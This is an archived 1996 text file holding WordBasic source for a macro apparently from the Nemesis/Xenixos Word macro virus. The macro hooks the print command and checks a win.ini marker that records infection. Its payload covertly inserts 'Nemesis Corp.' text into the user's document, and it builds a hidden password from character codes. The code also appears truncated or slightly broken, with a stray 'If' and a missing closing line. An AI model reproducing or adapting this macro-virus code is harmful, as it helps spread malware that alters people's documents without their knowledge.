home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESIS8.TXT < prev    next >
Text File  |  1996-04-16  |  755b  |  35 lines
  1. Macro DateiDrucken
  2.  
  3. Sub MAIN
  4. Dim dlg As FichierImprimer
  5. GetCurValues dlg
  6. On Error Goto ende
  7.  
  8. Section$ = "Compatibility"
  9. wininistr$ = "0x0020401"
  10. ProfileName$ = "RR2CD"
  11. PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
  12. Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
  13.  
  14. NoVir$ = GetProfileString$(Section$, ProfileName$)
  15. If NoVir$ <> wininistr$ Then PayLoad
  16.  
  17. Dialog dlg
  18. FichierImprimer dlg
  19. ende:
  20.  
  21.  
  22.  
  23. Sub Payload
  24. On Error Resume Next
  25.  
  26. If Seconde(Maintenant()) < 30 Then
  27.     PrintText$ = "Nemesis Corp."
  28.     FinDocument       'go to the end of document.
  29.     Insertion Chr$(11)
  30.     Insertion PrintText$
  31.     DΘbutDocument    'go to the start of document.
  32.  If
  33.  
  34. End Sub
  35.